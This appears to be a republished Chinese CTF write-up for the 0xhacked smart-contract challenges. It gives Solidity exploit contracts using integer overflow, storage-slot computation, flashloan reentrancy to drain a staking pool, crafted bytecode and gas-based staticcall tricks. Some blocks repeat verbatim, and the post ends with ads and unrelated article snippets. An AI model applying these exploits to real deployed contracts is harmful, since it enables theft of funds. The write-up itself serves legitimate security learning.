【网络安全】0xhacked CTF 大赛题解出炉啦!

此次 0xhacked CTF 比赛,ChainSecLabs 取得了第四名的成绩。让我们来看看比赛题目的题解吧。(题目代码仓库在文末哦~)
在这里插入图片描述
在这里插入图片描述

BabyOtter

这是应该说是一个算法题,很明显需要溢出,因为精度问题,uint256(-1)/0x1337并不行。没有写出一个脚本找出X,而是找到了其中的数学规律。

//387 第12次溢出
//362 第24次溢出
//337 第36次溢出
...
//12 第192溢出

以上是一个循环,之后每个循环的末尾的数减1。


// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

interface IBabyOtter {
    function solve(uint x) external;
}

contract Exploit {
    function exploit() public {
        uint number = 106517423012574869748253447278778772725360170890836257832597187972312850502279;
        address target = 0x4e309C767Acc9f9366d75C186454ed205d5Eeee3;
        IBabyOtter(target).solve(number);
    }
}

以上是一个循环,之后每个循环的末尾的数减1。

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

interface IBabyOtter {
    function solve(uint x) external;
}

contract Exploit {
    function exploit() public {
        uint number = 106517423012574869748253447278778772725360170890836257832597187972312850502279;
        address target = 0x4e309C767Acc9f9366d75C186454ed205d5Eeee3;
        IBabyOtter(target).solve(number);
    }
}

ChildOtter

做题时只是用debug查了下memory中0x20的值是

0xad3228b676f7d3cd4284a5443f17f1962b36e491b30a40b2405849e597ba5fb5,因为target=mload(32),直接取内存中0x20~0x40的值。

赛后仔细观察val[0][0] = x;的赋值过程发现,会先计算第一层映射值的插槽储存在memory0x20中,用于计算第二层映射值的插槽,然后sstore,第二层的映射位置没有写入memory而是存在于stack用了就丢弃。

ChildOtter

做题时只是用debug查了下memory中0x20的值是

0xad3228b676f7d3cd4284a5443f17f1962b36e491b30a40b2405849e597ba5fb5,因为target=mload(32),直接取内存中0x20~0x40的值。

赛后仔细观察val[0][0] = x;的赋值过程发现,会先计算第一层映射值的插槽储存在memory0x20中,用于计算第二层映射值的插槽,然后sstore,第二层的映射位置没有写入memory而是存在于stack用了就丢弃。

原理:对应文档中的映射值得插槽计算方法通过

keccak256(abi.encodePacked(uint(key),uint(slot)))

可以算出 第一层映射值得插槽为:

0xad3228b676f7d3cd4284a5443f17f1962b36e491b30a40b2405849e597ba5fb5,

第二层映射插槽为:

0xed428e1c45e1d9561b62834e1a2d3015a0caae3bfdc16b4da059ac885b01a145

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
interface IChildOtter {
    function solve(uint x) external;
}

contract Exploit {
    function exploit() public {
        // write code here
        address target = 0x63461D5b5b83bD9BA102fF21d8533b3aad172116;
        IChildOtter(target).solve(
            0xad3228b676f7d3cd4284a5443f17f1962b36e491b30a40b2405849e597ba5fb5
        );
    }
}

StakePool

本题的Pool中flashloan存在重入,在flashloan过程中可以再次调用合约的deposit,这个deposit的行为就相当于还钱闪电贷了,但是却给我们记录了存款的假象。这样我们只需要支付闪贷的手续费,就可以获得大量余额。分多次削减Pool中余额完成题目,因为一次借贷太多钱会导致手续费过高,题目环境我们没有太多的钱。

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
interface IStakePool {
    function deposit() external payable returns (uint256);
    function withdraw(uint256 shares) external returns (uint256);
    function flashloan(uint256 amount, bytes calldata data) external;
    function faucet() external;
    function solve() external;
}

contract Exploit {
    uint shares;

    function exploit() public {
        // write code here
        address target = 0x511978e46Fc117795431f7493fB5288592097C4A;

        IStakePool(target).faucet();

        uint amount = (address(this).balance * 10000) / 5;
        IStakePool(target).flashloan(amount, "");
        IStakePool(target).withdraw(shares);
        for(uint i = 0; i < 2; i++){
            IStakePool(target).flashloan(address(target).balance, "");
            IStakePool(target).withdraw(shares);
        }

        IStakePool(target).solve();
    }

    function onStakPoolFlashloan(
        uint amount,
        uint feeAmount,
        bytes memory data
    ) external payable {
        address target = 0x511978e46Fc117795431f7493fB5288592097C4A;
        shares = IStakePool(target).deposit{value: amount + feeAmount}();
    }

    fallback() external payable {}
}

Bytedance

完成题目需要跑通过两次staticcall返回不同的值。

第一次会把"Hello Player"和target的字节码打包创建一个新的合约。”Hello Player“的bytes表示为

0x48656c6c6f20506c61796572

转换为字节码为:

在这里插入图片描述
可以看到前面这些字节码无伤大雅 只需要填充19字节就可以直接按照我们的逻辑来编写。

第二次把"*V"和target的字节码打包创建一个新合约。"*V"的bytes表示为0x602a56 转换为字节码为:
在这里插入图片描述
发现字节码会直接跳转到2a的地方继续执行,那么字节码中必须由jumpdest ,但是第一个打包中没有jump。

我首先考虑控制push19 和 jumpdest中间的字段,让第一次打包后jumpdest被覆盖进push的内容中,而第二次打包jumpdest在正确的位置,之后按照自身字节码长度来判断应该返回的值。

我构造了如下字节码:

0x72ffffffffffffffffffffffffffffffffffff7371ffffffffffffffffffffffffffffffffffff5b303b608052608051608d116062577f48656c6c6f20506c61796572ffffffffffffffffffffffffffffffffffffffff608052600c6080fd5b7f602a56ffffffffffffffffffffffffffffffffffffffffffffffffffffffffff60805260036080fd

最后还要解决的一个问题是要求setup target时地址代码长度要求0,我们可以在构造函数中调用setup,这样由于合约还未完成部署,检测的代码长度为0。

攻击合约:

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

interface IBytedance {
    function solve() external;

    function setup() external;
}

contract Exploit {
    function exploit() public {
        address target = 0x2eB0fCb87fe17e7a2aB93B6d51C0A72D9dbA6bdC;
        bytes
            memory code = hex"72ffffffffffffffffffffffffffffffffffff7371ffffffffffffffffffffffffffffffffffff5b303b608052608051608d116062577f48656c6c6f20506c61796572ffffffffffffffffffffffffffffffffffffffff608052600c6080fd5b7f602a56ffffffffffffffffffffffffffffffffffffffffffffffffffffffffff60805260036080fd";
        Helper helper = new Helper(code);

        IBytedance(target).solve();
    }
}

contract Helper {
    constructor(bytes memory a) public payable {
        address target = 0x2eB0fCb87fe17e7a2aB93B6d51C0A72D9dbA6bdC;
        IBytedance(target).setup();
        assembly {
            return(add(0x20, a), mload(a))
        }
    }
}

赛后想了下应该有更简单的构造方法,比如在jumpdest之前返回0x48656c6c6f20506c61796572,jumpdest之后返回0x602a56,并且用RETURN返回数据更好,当然本处使用了REVERT一样可行。

Factorial

题目让我们成功调用run方法,其中会staticcall回调msg.sender的factorial(uint256)5次,返回值累乘的结果是120。正常情况下,相同的返回值,累乘5次不可能刚好是120,因此我们需要返回不同的值。

因为staticcall限制不能修改状态,因此采用gas限制,根据冷热地址访问gas消耗不同,返回不同的值:第一次热访问返回120,后面4次冷访问都返回1,即可。

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

interface IFactorial {
    function solve() external;
}

contract Exploit {
    IFactorial level;

    // construct() {} // construct not allowed

    function exploit() public {
        // write code here
        address target = 0x1963ead4de36524e8EB53B88ccf79ff15Fe20baB;
        level = IFactorial(target);
        level.solve();
    }

    function factorial(uint256) public view returns (bytes32) {
        uint startGas = gasleft();
        uint bal = address(0x100).balance;
        uint usedGas = startGas - gasleft();
        if (usedGas < 1000) {
            bytes32 data01 = bytes32(uint256(1));
            return data01;
        }
        bytes32 data02 = bytes32(uint256(120));
        return data02;
    }

}

题目代码仓库:
https://github.com/0xHackedLabs/ctf/tree/main

学习资料分享

当然,只给予计划不给予学习资料的行为无异于耍流氓,### 如果你对网络安全入门感兴趣,那么你点击这里👉CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享

如果你对网络安全感兴趣,学习资源免费分享,保证100%免费!!!(嘿客入门教程)

👉网安(嘿客)全套学习视频👈

我们在看视频学习的时候,不能光动眼动脑不动手,比较科学的学习方法是在理解之后运用它们,这时候练手项目就很适合了。

在这里插入图片描述

👉网安(嘿客红蓝对抗)所有方向的学习路线****👈
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
在这里插入图片描述
学习资料工具包
压箱底的好资料,全面地介绍网络安全的基础理论,包括逆向、八层网络防御、汇编语言、白帽子web安全、密码学、网络安全协议等,将基础理论和主流工具的应用实践紧密结合,有利于读者理解各种主流工具背后的实现机制
在这里插入图片描述
面试题资料

独家渠道收集京东、360、天融信等公司测试题!进大厂指日可待!
在这里插入图片描述
👉嘿客必备开发工具👈
工欲善其事必先利其器。学习嘿客常用的开发软件都在这里了,给大家节省了很多时间。

这份完整版的网络安全(嘿客)全套学习资料已经上传至CSDN官方,朋友们如果需要点击下方链接也可扫描下方微信二v码获取网络工程师全套资料【保证100%免费】

CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享

请添加图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/466302.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

代码随想录算法训练营第二十四天|● 理论基础 ● 77. 组合(JS写法)

回溯理论基础 回溯法解决的问题都可以抽象为树形结构&#xff0c;因为回溯法解决的都是在集合中递归查找子集&#xff0c;集合的大小就构成了树的宽度&#xff0c;递归的深度&#xff0c;都构成的树的深度。递归就要有终止条件&#xff0c;所以必然是一棵高度有限的树&#xff…

仰卧起坐计数,YOLOV8POSE

仰卧起坐计数&#xff0c;YOLOV8POSE 通过计算膝盖、腰部、肩部的夹角&#xff0c;计算仰卧起坐的次数

springboot278基于JavaWeb的鲜牛奶订购系统的设计与实现

鲜牛奶订购系统的设计与实现 摘 要 如今社会上各行各业&#xff0c;都喜欢用自己行业的专属软件工作&#xff0c;互联网发展到这个时候&#xff0c;人们已经发现离不开了互联网。新技术的产生&#xff0c;往往能解决一些老技术的弊端问题。因为传统鲜牛奶订购信息管理难度大&…

Python使用 k 均值对遥感图像进行语义分割

本篇文章介绍K-means语义分割来估计 2000 年至 2023 年咸海水面的变化 让我们先看一下本教程中将使用的数据。这是同一地区的两张 RGB 图像,间隔 23 年,但很明显地表特性和大气条件(云、气溶胶等)不同。这就是为什么我决定训练两个独立的 k-Means 模型,每个图像一个。 首…

水下蓝牙耳机哪个牌子好?推荐四款高人气力作游泳耳机

在这个充满活力的时代&#xff0c;人们对于生活的追求早已不仅仅局限于日常的琐碎&#xff0c;更多的是对健康、对自我挑战的向往。运动&#xff0c;成为了现代人生活中不可或缺的一部分。而游泳&#xff0c;作为一项既能锻炼全身&#xff0c;又能享受水中美妙的运动&#xff0…

广州地铁线路规划

使用python实现后端功能&#xff0c;由于地铁图需要进行展示&#xff0c;svg图需要花费比较多的时间&#xff0c;这里使用了 MetroFlow 库构建的地铁地图编辑器&#xff0c;可以在画布上构建矢量图&#xff0c;实现站点路线的创建。 用法&#xff1a; 打包好后完整目录&#x…

CornerStone之读取txt文件点数据

1. 页面标签 页面中目前只提供一个按钮来进行输入文件 <input click"importZeroOne" type"file" />2. 函数定义 在输入文件之后&#xff0c;执行importZeroOne函数&#xff0c;获得输入的文件&#xff0c;进行以下处理 const importZeroOne((eve…

windows 11访问Debian10上的共享目录

步骤 要在Windows 11上访问Debian 10.0.0的共享目录&#xff0c;可以通过以下步骤来实现&#xff1a; 1. 设置Samba服务&#xff1a;在Debian系统上&#xff0c;需要安装并配置Samba服务&#xff0c;以便能够实现文件夹共享。Samba是一个允许Linux/Unix服务器与Windows操作系…

【数据结构与算法】(15):归并排序的递归和非递归方式

&#x1f921;博客主页&#xff1a;Code_文晓 &#x1f970;本文专栏&#xff1a;数据结构与算法 &#x1f63b;欢迎关注&#xff1a;感谢大家的点赞评论关注&#xff0c;祝您学有所成&#xff01; ✨✨&#x1f49c;&#x1f49b;想要学习更多数据结构与算法点击专栏链接查看&…

二、C#选择排序算法

简介 选择排序算法的基本思想是每一次从待排序的数据元素中选出最小&#xff08;或最大&#xff09;的一个元素&#xff0c;存放在序列的起始位置&#xff0c;然后&#xff0c;再从剩余未排序元素中继续寻找最小&#xff08;大&#xff09;元素&#xff0c;然后放到已排序序列…

【ArcGISProSDK】获取扩展模块许可到期时间

结果 以下是获取的3D分析模块的许可到期时间 代码 var licenseExpirationDate ArcGIS.Core.Licensing.LicenseInformation.GetExpirationDate(LicenseCodes.Analyst3D); 扩展模块 MemberDescriptionAnalyst3D3D AnalystAviationAirportsAviation and AirportsBusinessAnal…

绿色再生·安卓4G智能远程操作巡视机器人小车

一、前言 1.1 项目介绍 【1】项目功能介绍 随着物联网技术与移动通信技术的快速发展&#xff0c;远程遥控设备在日常生活及工业应用中的普及度日益提高。无论是家用扫地机器人实现自主导航清扫&#xff0c;还是目前抖音平台上展示的实景互动小车等创新应用&#xff0c;都体现…

ICBatlas数据库-转录组免疫检查点阻断疗法数据

ICBatlas: A Comprehensive Resource for Depicting Immune Checkpoint Blockade Therapy Characteristics from Transcriptome Profiles 介绍&#xff1a;在线ICBatlas (hust.edu.cn) 检查点阻断 &#xff08;ICB&#xff09; 疗法为多种癌症类型提供了显着的临床益处。目前…

6语言交易所/多语言交易所php源码/微盘PHP源码

6语言交易所PHP源码&#xff0c;简单测试了一下&#xff0c;功能基本都是正常的。 由于是在本地测试的运行环境的问题&#xff0c;K线接口有点问题&#xff0c;应该在正式环境下是OK的。 源码下载地址&#xff1a;6语言交易所/多语言交易所php源码/微盘PHP源码.zip 程序截图…

【安装教程】安装cudnn

提示&#xff1a;文章写完后&#xff0c;目录可以自动生成&#xff0c;如何生成可参考右边的帮助文档 安装cudnn 前言一、下载和自己cuda匹配的cudnn二、安装cudnn 前言 首先我是已经安装了cuda&#xff0c;但是因为没有安装cudnn在跑程序的时候出现了一些问题&#xff0c;因此…

Axure 中继器的Repeater属性的使用

dataCount 中继器当中存在多少条数据&#xff0c;总数。 visibleltemCount 中继器列表中可见项数量&#xff0c;也就是当前页面显示的数量。 pageCount 获取中继器分页的总数量&#xff0c;即能够获取分页后共有多少页。 pageIndex 获取中继器当前显示的页码

【数字孪生】Nginx发布数字孪生三维建模模型服务及调用方法

【数字孪生】Nginx发布数字孪生三维建模模型服务及调用方法 一、需求二、实施步骤2.1 准备模型文件2.1.1 3D tiles模型2.1.2 3D Tiles标准文件格式 2.2 配置nginx server块2.2.1 Nginx能干啥 2.3 访问 三、实现效果 一、需求 利用三维渲染引擎Cesium加载3D tiles模型。 二、实…

上海微电子企业ERP系统介绍及现状

在当今信息化、数字化的时代&#xff0c;企业资源规划(ERP)系统已成为企业管理的核心工具。上海微电子企业&#xff0c;作为国内微电子行业的重要力量&#xff0c;其ERP系统的应用与发展更是备受关注。 ERP系统是一种集信息技术与管理思想于一体的企业管理系统。它通过对企业内…

无人咖啡机品质之选,D 咖助力差异化竞争

在当今竞争激烈的商业环境中&#xff0c;如何脱颖而出成为众多企业关注的焦点。而无人咖啡机的出现&#xff0c;为商家提供了一个全新的思路。D 咖无人咖啡机&#xff0c;以其卓越的品质和独特的功能&#xff0c;成为了商家们实现差异化竞争的得力助手。 1. 卓越品质&#xff1…

uniapp——第4篇:分析一下全局文件、配置

前提&#xff0c;建议先学会前端几大基础&#xff1a;HTML、CSS、JS、Ajax&#xff0c;还有一定要会Vue!&#xff08;Vue2\Vue3&#xff09;都要会&#xff01;&#xff01;&#xff01;不然不好懂 一、uniapp项目创建新包放乱杂文件 我们的项目结构里有一个包叫static&#x…